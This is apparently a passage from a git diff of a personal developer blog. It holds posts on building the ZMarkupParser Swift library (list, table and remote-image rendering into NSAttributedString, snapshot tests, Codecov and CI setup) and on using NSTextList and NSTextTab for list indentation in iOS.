Using <ol> / <ul> to wrap <li> in HTML to represent list items:

1
+2
+3
+4
+5
+6
+
<ul>
+    <li>ItemA</li>
+    <li>ItemB</li>
+    <li>ItemC</li>
+    //...
+</ul>
+

Using the same parsing method as before, we can get other list items in visit(_ markup: ListItemMarkup) to know the current list index (thanks to converting to AST).

1
+2
+3
+4
+
func visit(_ markup: ListItemMarkup) -> Result {
+  let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? []
+  let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)
+}
+

NSParagraphStyle has an NSTextList object that can be used to display list items, but in practice, it cannot customize the width of the whitespace (personally, I think the whitespace is too large). If there is whitespace between the bullet and the string, it will trigger a line break here, making the display look a bit odd, as shown in the image below:

The Better part can potentially be achieved by setting headIndent, firstLineHeadIndent, NSTextTab, but testing shows that if the string is too long or the size changes, it still cannot perfectly present the result.

Currently, it is only Acceptable, combining the list item string and inserting it before the string.

We only use NSTextList.MarkerFormat to generate list item symbols, rather than directly using NSTextList.

For a list of supported list symbols, refer to: MarkupStyleList.swift

Final display result: <ol><li>

Complex Rendering Items — Table

Similar to the implementation of list items, but for tables.

Using <table> in HTML to create a table -> wrapping <tr> table rows -> wrapping <td>/<th> to represent table cells:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
<table>
+  <tr>
+    <th>Company</th>
+    <th>Contact</th>
+    <th>Country</th>
+  </tr>
+  <tr>
+    <td>Alfreds Futterkiste</td>
+    <td>Maria Anders</td>
+    <td>Germany</td>
+  </tr>
+  <tr>
+    <td>Centro comercial Moctezuma</td>
+    <td>Francisco Chang</td>
+    <td>Mexico</td>
+  </tr>
+</table>
+

Testing shows that the native NSAttributedString.DocumentType.html uses the Private macOS API NSTextBlock to complete the display, thus it can fully display the HTML table style and content.

A bit of cheating! We can’t use Private API 🥲

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
    func visit(_ markup: TableColumnMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? []
+        let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0)
+        
+        // Whether to specify the desired width externally, can set .max to not truncate string
+        var maxLength: Int? = markup.fixedMaxLength
+        if maxLength == nil {
+            // If not specified, find the string length of the same column in the first row as the max length
+            if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup,
+               let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup {
+                let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup })
+                if firstTableRowColumns.indices.contains(position) {
+                    let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position])
+                    let length = firstTableRowColumnAttributedString.string.utf16.count
+                    maxLength = length
+                }
+            }
+        }
+        
+        if let maxLength = maxLength {
+            // If the field exceeds maxLength, truncate the string
+            if attributedString.string.utf16.count > maxLength {
+                attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength))+"...")
+            } else {
+                attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, withPad: " ", startingAt: 0))
+            }
+        }
+        
+        if position < siblingColumns.count - 1 {
+            // Add spaces as spacing, the width of the spacing can be specified externally
+            attributedString.append(makeString(in: markup, string: String(repeating: " ", count: markup.spacing)))
+        }
+        
+        return attributedString
+    }
+    
+    func visit(_ markup: TableRowMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        attributedString.append(makeBreakLine(in: markup)) // Add line break, for details refer to Source Code
+        return attributedString
+    }
+    
+    func visit(_ markup: TableMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        attributedString.append(makeBreakLine(in: markup)) // Add line break, for details refer to Source Code
+        attributedString.insert(makeBreakLine(in: markup), at: 0) // Add line break, for details refer to Source Code
+        return attributedString
+    }
+

The final presentation effect is as follows:

not perfect, but acceptable.

Complex Rendering Items — Image

Finally, let’s talk about the biggest challenge, loading remote images into NSAttributedString.

Use <img> to represent images in HTML:

1
+
<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg" width="300" height="125"/>
+

You can specify the desired display size through the width / height HTML attributes.

Displaying images in NSAttributedString is much more complicated than imagined; and there is no good implementation. Previously, when doing UITextView text wrapping, I encountered some pitfalls, but after researching again, I found that there is still no perfect solution.

For now, let’s ignore the issue that NSTextAttachment natively cannot reuse and release memory. We will first implement downloading images from remote and placing them into NSTextAttachment, then into NSAttributedString, and achieve automatic content updates.

This series of operations is split into another small project for better optimization and reuse in other projects in the future:

Mainly referring to Asynchronous NSTextAttachments series of articles for implementation, but replacing the final content update part (refreshing the UI after downloading) and adding Delegate/DataSource for external extension use.

Operation flow and relationship as shown in the figure above

Operation flow and relationship as shown in the figure above:

  • Declare ZNSTextAttachmentable object, encapsulating NSTextStorage object (UITextView built-in) and UILabel itself (UILabel has no NSTextStorage) The operation method is only to implement replace attributedString from NSRange. (func replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment))
  • The principle is to use ZNSTextAttachment to package imageURL, PlaceholderImage, and the size information to be displayed, then directly display the image with placeHolder
  • When the system needs this image on the screen, it will call the image(forBounds… method, at which point we start downloading the Image Data
  • DataSource goes out to let the external decide how to download or implement the Image Cache Policy, by default directly using URLSession to request image Data
  • After downloading, create a new ZResizableNSTextAttachment and implement the custom image size logic in attachmentBounds(for…
  • Call the replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) method to replace the ZNSTextAttachment position with ZResizableNSTextAttachment
  • Issue didLoad Delegate notification, allowing external connection if needed
  • Complete

For detailed code, refer to Source Code.

The reason for not using NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil) or NSLayoutManager.invalidateDisplay(forCharacterRange: range) to refresh the UI is that the UI did not correctly display the update; since the Range is known, directly triggering the replacement of NSAttributedString ensures the UI is correctly updated.

The final display result is as follows:

1
+2
+
<span style="color:red">こんにちは</span>こんにちはこんにちは <br />
+<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg"/>
+

Testing & Continuous Integration

In this project, in addition to writing Unit Tests, Snapshot Tests were also established for integration testing to facilitate comprehensive testing and comparison of the final NSAttributedString.

The main functional logic has UnitTests and integration tests. The final Test Coverage is around 85%.

[ZMarkupParser — codecov](https://app.codecov.io/gh/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser — codecov

Snapshot Test

Directly use the framework:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
import SnapshotTesting
+// ...
+func testShouldKeppNSAttributedString() {
+  let parser = ZHTMLParserBuilder.initWithDefault().build()
+  let textView = UITextView()
+  textView.frame.size.width = 390
+  textView.isScrollEnabled = false
+  textView.backgroundColor = .white
+  textView.setHtmlString("html string...", with: parser)
+  textView.layoutIfNeeded()
+  assertSnapshot(matching: textView, as: .image, record: false)
+}
+// ...
+

Directly compare the final result to see if it meets expectations, ensuring that the integration adjustments are not abnormal.

Codecov Test Coverage

Integrate Codecov.io (free for Public Repo) to evaluate Test Coverage. Just install the Codecov Github App & configure it.

After setting up Codecov <-> Github Repo, you can also add codecov.yml to the root directory of the project

1
+2
+3
+4
+5
+6
+
comment:                  # this is a top-level key
+  layout: "reach, diff, flags, files"
+  behavior: default
+  require_changes: false  # if true: only post the comment if coverage changes
+  require_base: no        # [yes :: must have a base report to post]
+  require_head: yes       # [yes :: must have a head report to post]
+

Configuration file, this can enable the CI results to be automatically commented on the content after each PR is issued.

Continuous Integration

Github Action, CI integration: ci.yml

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
name: CI
+
+on:
+  workflow_dispatch:
+  pull_request:
+    types: [opened, reopened]
+  push:
+    branches:
+    - main
+
+jobs:
+  build:
+    runs-on: self-hosted
+    steps:
+      - uses: actions/checkout@v3
+      - name: spm build and test
+        run: |
+          set -o pipefail
+          xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty
+      - name: Codecov
+        uses: codecov/codecov-action@v3.1.1
+        with:
+          xcode: true
+          xcode_archive_path: './scripts/TestResult.xcresult'
+

This configuration runs build and test when PR is opened/reopened or push to the main branch, and finally uploads the test coverage report to codecov.

Regex

Regarding regular expressions, each use improves it further; this time, not much was used, but because I originally wanted to use a regex to extract paired HTML Tags, I also studied how to write it.

Some new cheat sheet notes learned this time…

  • ?: allows ( ) to match group results but not capture them e.g. (?:https?:\/\/)?(?:www\.)?example\.com will return the entire URL in https://www.example.com instead of https://, www
  • .+? non-greedy match (returns the nearest) e.g. <.+?> will return <a>, </a> in <a>test</a> instead of the entire string
  • (?=XYZ) any string until the XYZ string appears; note that another similar one [^XYZ] means any string until X or Y or Z character appears e.g. (?:__)(.+?(?=__))(?:__) (any string until __) will match test
  • ?R recursively finds values with the same rule e.g. \((?:[^()]|((?R)))+\) will match (simple), (and(nested)), (nested) in (simple) (and(nested))
  • ?<GroupName>\k<GroupName> matches the previous Group Name e.g. (?<tagName><a>).*(\k<GroupName>)
  • (?(X)yes|no) matches the condition yes if the X match result has a value (can also use Group Name), otherwise matches no Swift does not support this yet

Other good articles on Regex:

Swift Package Manager & Cocoapods

This is also my first time developing with SPM & Cocoapods… It’s quite interesting, SPM is really convenient; but if you encounter a situation where two projects depend on the same package, opening both projects at the same time will result in one of them not finding the package and failing to build…

Cocoapods has uploaded ZMarkupParser but hasn’t tested if it’s working properly, because I’m using SPM 😝.

ChatGPT

From the actual development experience, I found it most useful only when assisting in editing the Readme; in development, I haven’t felt any significant impact yet. When asking mid-senior level questions, it couldn’t provide a definite answer or even gave incorrect answers (I encountered some incorrect regex rules). So, in the end, I still turned to Google for the correct answers.

Not to mention asking it to write code, unless it’s simple Code Gen Object; otherwise, don’t expect it to complete the entire tool architecture directly. (At least for now, it seems that Copilot might be more helpful for writing code)

However, it can provide a general direction for knowledge blind spots, allowing us to quickly get a rough idea of how certain things should be done. Sometimes, when the understanding is too low, it’s hard to quickly pinpoint the correct direction on Google, and that’s when ChatGPT is quite helpful.

Disclaimer

After more than three months of research and development, I am exhausted, but I still need to declare that this approach is only a feasible result obtained after my research. It is not necessarily the best solution, and there may still be areas for optimization. This project is more like a starting point, hoping to get a perfect solution for Markup Language to NSAttributedString. Everyone is very welcome to contribute; many things still need the power of the community to be perfected.

Contributing

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"} [⭐](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

Here are some areas that I think can be improved as of now (2023/03/12), and will be recorded in the Repo later:

  1. Optimization of performance/algorithm, although it is faster and more stable than the native NSAttributedString.DocumentType.html; there is still much room for optimization. I believe the performance is definitely not as good as XMLParser; I hope one day it can have the same performance while maintaining customization and automatic error correction.
  2. Support for more HTML Tag, Style Attribute conversion parsing
  3. Further optimization of ZNSTextAttachment, implementing reuse capability, releasing memory; may need to research CoreText
  4. Support for Markdown parsing, as the underlying abstraction is not limited to HTML; so as long as the front-end Markdown to Markup object is built, Markdown parsing can be completed; hence I named it ZMarkupParser, not ZHTMLParser, hoping that one day it can also support Markdown to NSAttributedString
  5. Support for Any to Any, e.g. HTML To Markdown, Markdown To HTML, as we have the original AST tree (Markup object), so achieving conversion between any Markup is possible
  6. Implement css !important functionality, enhancing the inheritance strategy of abstract MarkupStyle
  7. Enhance HTML Selector functionality, currently, it is just the most basic filter functionality
  8. Many more, welcome to open issue

If you are willing but unable to contribute, you can also give me a ⭐ to make the Repo more visible, so that GitHub experts have the opportunity to help contribute!

Summary

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

Here are all the technical details and the journey of developing ZMarkupParser. It took me almost three months of after-work and weekend time, countless research and practice, writing tests, improving Test Coverage, and setting up CI; finally, there is a somewhat decent result. I hope this tool solves the same problems for others and that everyone can help make this tool even better.

[pinkoi.com](https://www.pinkoi.com){:target="_blank"}

pinkoi.com

It is currently applied in our company’s pinkoi.com iOS App version, and no issues have been found. 😄

Further Reading

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

ZMarkupParser HTML String to NSAttributedString Tool

ZMediumToJekyll

diff --git a/posts/2981dc0fcd58/index.html b/posts/2981dc0fcd58/index.html new file mode 100644 index 0000000000..e35ab4e713 --- /dev/null +++ b/posts/2981dc0fcd58/index.html @@ -0,0 +1,353 @@ + Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS | ZhgChgLi
Home Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS
Post
Cancel

Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS

[iOS] Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString

Implementing list indentation similar to HTML List OL/UL/LI using NSTextList or NSTextTab with NSAttributedString in iOS Swift

Technical Background

Previously, while developing my open-source project “ZMarkupParser,” a library for converting HTML strings into NSAttributedString objects, I needed to research and implement the use of NSAttributedString to handle various HTML components. During this process, I came across the .paragraphStyle: NSParagraphStyle attribute of NSAttributedString Attributes, specifically the textLists: [NSTextList] and tabStops: [NSTextTab] properties. These are two very obscure attributes with limited online resources.

When initially implementing HTML list indentation conversion, I found examples showing that these two attributes could be used to achieve this. Let’s first take a look at the nested tag structure of HTML list indentation:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
<ul>
+    <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li>
+    <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li>
+    <li>
+        ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.
+        <ol>
+            <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li>
+            <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li>
+            <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li>
+        </ol>
+    </li>
+</ul>
+

Display effect in the browser:

As shown in the above image, the list supports multiple layers of nested structures and needs to be indented according to the level.

At that time, there were many other HTML tag conversion tasks that needed to be implemented, which was a lot of work. I quickly attempted to use NSTextList or NSTextTab to create the list indentation without delving deep into understanding. However, the results were not as expected - the spacing was too large, there was no alignment, multiple lines were misaligned, the nested structure was not clear, and spacing could not be controlled. After playing around with it for a while without finding a solution, I abandoned it and temporarily used a makeshift layout:

The above image effect is very poor because it was actually manually formatted using spaces and the symbol -, without any indentation effect. The only advantage is that the spacing is composed of blank symbols, and the size can be controlled manually.

This matter was left unresolved, and I didn’t particularly work on it even after being open-sourced for over a year. It wasn’t until recently that I started receiving Issues requesting improvements to list conversion, and a developer provided a solution PR. By referencing the usage of NSParagraphStyle in that PR, I was inspired once again. Researching NSTextList or NSTextTab could potentially allow for the perfect implementation of indented list functionality!

Final Result

As usual, let’s start with the final result image.

  • Now, in ZMarkupParser ~> v1.9.4 and above versions, HTML List Items can be perfectly converted into NSAttributedString objects.
  • Supports maintaining indentation when line breaks occur.
  • Supports customizing the size of indentation spacing.
  • Supports nested structure indentation.
  • Supports different List Item Styles, such as Bullet, Disc, Decimal… and even custom symbols.

The main text begins below.

Exploring Methods of Achieving List Indentation with NSTextList or NSTextTab

It’s “or” not “and” in the relationship between NSTextList and NSTextTab, meaning that these two attributes are not used together. Each of them can achieve list indentation independently.

Method (1) Exploring List Indentation Using NSTextList

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
let listLevel1ParagraphStyle = NSMutableParagraphStyle()
+listLevel1ParagraphStyle.textLists = [textListLevel1]
+        
+let listLevel2ParagraphStyle = NSMutableParagraphStyle()
+listLevel2ParagraphStyle.textLists = [textListLevel1, textListLevel2]
+        
+let attributedString = NSMutableAttributedString()
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 1))\tList Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 2))\tList Level 1 - 2\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 3))\tList Level 1 - 3\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel2.marker(forItemNumber: 1))\tList Level 2 - 1\n", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel2.marker(forItemNumber: 2))\tList Level 2 - 2 StringStringStringStringStringStringStringStringStringStringStringString\n", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 4))\tList Level 1 - 4\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))        
+
+textView.attributedText = attributedString
+

Display Effect:

The Public API provided by NSTextList is very limited, and the parameters that can be controlled are as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
// Item display style
+var markerFormat: NSTextList.MarkerFormat { get }
+
+// Starting number for ordered items
+var startingItemNumber: Int
+
+// Whether it is an ordered numeric item (available in iOS >= 16, surprisingly this API has been updated)
+@available(iOS 16.0, *)
+open var isOrdered: Bool { get }
+
+// Returns the item symbol string, with itemNumber as the item number. It can be omitted if it is a non-ordered numeric item
+open func marker(forItemNumber itemNumber: Int) -> String
+

NSTextList.MarkerFormat Styles:

  • To increase visibility, displayed at position 8 of the item list.

Usage:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
// Define a NSMutableParagraphStyle
+let listLevel1ParagraphStyle = NSMutableParagraphStyle()
+// Define List Item style, starting position of items
+let textListLevel1 = NSTextList(markerFormat: .decimal, startingItemNumber: 1)
+// Assign NSTextList to the textLists array
+listLevel1ParagraphStyle.textLists = [textListLevel1]
+//
+NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 1))\Item One\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle])
+
+// Adding nested sub-items:
+// Define sub-item List Item style, starting position of items
+let textListLevel2 = NSTextList(markerFormat: .circle, startingItemNumber: 1)
+// Define sub-item NSMutableParagraphStyle
+let listLevel2ParagraphStyle = NSMutableParagraphStyle()
+// Assign parent and child NSTextList to the textLists array
+listLevel1ParagraphStyle.textLists = [textListLevel1, textListLevel2]
+
+NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 1))\Item 1.1\n", attributes: [.paragraphStyle: listLevel2ParagraphStyle])
+
+// Sub-items of nested sub-items...
+Continue appending NSTextList to the textLists array as needed
+
  • Use \n to differentiate each list item.
  • Use \tItem symbol\t to allow access to the list result when accessing the attributedString.string as plain text.
  • \tItem symbol\t will not be displayed, so any processing done after the item symbol will not be visible (e.g., adding . after the item number will not affect the display).

Issues with usage:

  • Unable to control the left and right margins of the item symbol.
  • Unable to customize the item symbol, and inability to add . to numeric items -> 1..
  • Found that if the parent item list is non-ordered (e.g., .circle), and the child items are ordered numeric items (e.g., .decimal), the startingItemNumber setting for child items will be ignored.

What NSTextList can do and what it can be used for is as described above. However, it is not very user-friendly in practical product development applications; the spacing is too wide, numeric items lack ., greatly reducing usability. Online, I only found a way to change the spacing through TextKit NSTextStorage, which I think is too hard-coding, so I abandoned it. The only benefit is that it allows for simple nesting of indented sub-item lists by appending textLists arrays, without the need for complex layout calculations.

Method (2) Exploring List Indentation Using NSTextTab

NSTextTab allows us to set the position of the \t tab placeholder, with a default interval of 28.

We achieve a list-like effect by setting tabStops + headIndent + defaultTabInterval in NSMutableParagraphStyle.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
let textListLevel1 = NSTextList(markerFormat: .decimal, startingItemNumber: 1)
+let textListLevel2 = NSTextList(markerFormat: .circle, startingItemNumber: 1)
+        
+let listLevel1ParagraphStyle = NSMutableParagraphStyle()
+listLevel1ParagraphStyle.defaultTabInterval = 28
+listLevel1ParagraphStyle.headIndent = 29
+listLevel1ParagraphStyle.tabStops = [
+  NSTextTab(textAlignment: .left, location: 8), // Corresponding settings as shown in figure (1) Location
+  NSTextTab(textAlignment: .left, location: 29), // Corresponding settings as shown in figure (2) Location
+]
+        
+let listLevel2ParagraphStyle = NSMutableParagraphStyle()
+listLevel2ParagraphStyle.defaultTabInterval = 28
+listLevel2ParagraphStyle.headIndent = 44
+listLevel2ParagraphStyle.tabStops = [
+    NSTextTab(textAlignment: .left, location: 29), // Corresponding settings as shown in figure (3) Location
+    NSTextTab(textAlignment: .left, location: 44), // Corresponding settings as shown in figure (4) Location
+]
+        
+let attributedString = NSMutableAttributedString()
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 1)).\tList Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 2)).\tList Level 1 - 2\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 3)).\tList Level 1 - 3\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel2.marker(forItemNumber: 1))\tList Level 2 - 1\n", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel2.marker(forItemNumber: 2))\tList Level 2 - 2 StringStringStringStringStringStringStringStringStringStringStringString\n", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))
+attributedString.append(NSAttributedString(string: "\t\(textListLevel1.marker(forItemNumber: 4)).\tList Level 1 - 4\n", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))
+
+textView.attributedText = attributedString
+
  • The tabStops array corresponds to each \t symbol in the text. NSTextTab can be set with Alignment direction and Location position (please note that it is not setting the width, but the position in the text!).
  • headIndent sets the position from the starting point for the second line, usually set to the Location of the second \t, so that line breaks align with the item symbol.
  • defaultTabInterval sets the default interval spacing for \t. If there are other \t in the text, they will be spaced according to this setting.
  • location: Because NSTextTab specifies direction and position, you need to calculate the position yourself. You need to calculate the width of the item symbol (the number of digits also affects) + spacing + indentation distance within the parent item to achieve the effect shown in the figure above.
  • Item symbols can be fully customized.
  • If the location is incorrect or cannot be met, there will be direct line breaks.

The example above is simplified to help you understand the layout of NSTextTab. The calculation and summarization process is simplified, and the answer is written directly. If you want to use it in a real scenario, you can refer to the following complete code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+
let attributedStringFont = UIFont.systemFont(ofSize: UIFont.systemFontSize)
+let iterator = ListItemIterator(font: attributedStringFont)
+        
+//
+let listItem = ListItem(type: .decimal, text: "", subItems: [
+  ListItem(type: .circle, text: "List Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 2", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 3", subItems: [
+    ListItem(type: .circle, text: "List Level 2 - 1", subItems: []),
+    ListItem(type: .circle, text: "List Level 2 - 2 fafasffsafasfsafasas\tfasfasfasfasfasfasfasfsafsaf", subItems: [])
+  ]),
+  ListItem(type: .circle, text: "List Level 1 - 4", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 5", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 6", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 7", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 8", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 9", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 10", subItems: []),
+  ListItem(type: .circle, text: "List Level 1 - 11", subItems: [])
+])
+let listItemIndent = ListItemIterator.ListItemIndent(preIndent: 8, sufIndent: 8)
+textView.attributedText = iterator.start(item: listItem, type: .decimal, indent: listItemIndent)
+
+
+
+//
+private extension UIFont {
+    func widthOf(string: String) -> CGFloat {
+        return (string as NSString).size(withAttributes: [.font: self]).width
+    }
+}
+
+private struct ListItemIterator {
+    let font: UIFont
+    
+    struct ListItemIndent {
+        let preIndent: CGFloat
+        let sufIndent: CGFloat
+    }
+    
+    func start(item: ListItem, type: NSTextList.MarkerFormat, indent: ListItemIndent) -> NSAttributedString {
+        let textList = NSTextList(markerFormat: type, startingItemNumber: 1)
+        return item.subItems.enumerated().reduce(NSMutableAttributedString()) { partialResult, listItem in
+            partialResult.append(self.iterator(parentTextList: textList, parentIndent: indent.preIndent, sufIndent: indent.sufIndent, item: listItem.element, itemNumber: listItem.offset + 1))
+            return partialResult
+        }
+    }
+    
+    private func iterator(parentTextList: NSTextList, parentIndent: CGFloat, sufIndent: CGFloat, item: ListItem, itemNumber:Int) -> NSAttributedString {
+        let paragraphStyle = NSMutableParagraphStyle()
+        
+        
+        // e.g. 1.
+        var itemSymbol = parentTextList.marker(forItemNumber: itemNumber)
+        switch parentTextList.markerFormat {
+        case .decimal, .uppercaseAlpha, .uppercaseLatin, .uppercaseRoman, .uppercaseHexadecimal, .lowercaseAlpha, .lowercaseLatin, .lowercaseRoman, .lowercaseHexadecimal:
+            itemSymbol += "."
+        default:
+            break
+        }
+        
+        // width of "1."
+        let itemSymbolIndent: CGFloat = ceil(font.widthOf(string: itemSymbol))
+        
+        let tabStops: [NSTextTab] = [
+            .init(textAlignment: .left, location: parentIndent),
+            .init(textAlignment: .left, location: parentIndent + itemSymbolIndent + sufIndent)
+        ]
+
+        let thisIndent = parentIndent + itemSymbolIndent + sufIndent
+        paragraphStyle.headIndent = thisIndent
+        paragraphStyle.tabStops = tabStops
+        paragraphStyle.defaultTabInterval = 28
+        
+        let thisTextList = NSTextList(markerFormat: item.type, startingItemNumber: 1)
+        //
+        return item.subItems.enumerated().reduce(NSMutableAttributedString(string: "\t\(itemSymbol)\t\(item.text)\n", attributes: [.paragraphStyle: paragraphStyle, .font: font])) { partialResult, listItem in
+            partialResult.append(self.iterator(parentTextList: thisTextList, parentIndent: thisIndent, sufIndent: sufIndent, item: listItem.element, itemNumber: listItem.offset + 1))
+            return partialResult
+        }
+    }
+}
+
+private struct ListItem {
+    var type: NSTextList.MarkerFormat
+    var text: String
+    var subItems: [ListItem]
+}
+

  • We declare a simple ListItem object to encapsulate sub-list items, combining them recursively and calculating the spacing and content of the item list.
  • NSTextList only uses the marker method to generate list symbols, but it can also be implemented independently without using it.
  • To widen the space before and after the item symbol, you can directly set preIndent and sufIndent.
  • Since position calculation requires the use of Font to calculate width, make sure to set .font for the text to ensure accurate calculation.

Conclusion

Initially, we hoped that we could achieve the desired effect directly using NSTextList, but the result and customization level were both poor. In the end, we had to rely on a makeshift solution with NSTextTab, controlling the position of \t to manually combine item symbols. It’s a bit cumbersome, but the effect perfectly meets the requirements!

The goal has been achieved, but I still haven’t fully mastered the knowledge of NSTextTab (for example, different directions? Relative positions of Location?). The official documentation and online resources are too scarce. I’ll study it further if I have the chance.

Download Full Example of This Document

Commerce

A tool to help you convert HTML strings to NSAttributedStrings, with support for custom style assignment and custom tag functionality.

Reference Material

  • ObjC String Rendering This article contains a complete example of NSAttributedString application, including an introduction to the implementation of lists and tables functionality.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Plane.so Docker Self-Hosted Setup Record

Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise

diff --git a/posts/2e4429f410d6/index.html b/posts/2e4429f410d6/index.html new file mode 100644 index 0000000000..487186cc5c --- /dev/null +++ b/posts/2e4429f410d6/index.html @@ -0,0 +1 @@ + Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone | ZhgChgLi
Home Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone
Post
Cancel

Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone

Easily Create a ‘Fake’ Transparent Perspective Wallpaper Using iPhone

Using iMovie’s green screen keying feature to composite videos

Anyway, I’m Bored

Working during the day, exploited by capitalists; at night, exploited by mass entertainment, still unable to achieve the realm of working during the day, studying at night, and critiquing on holidays!

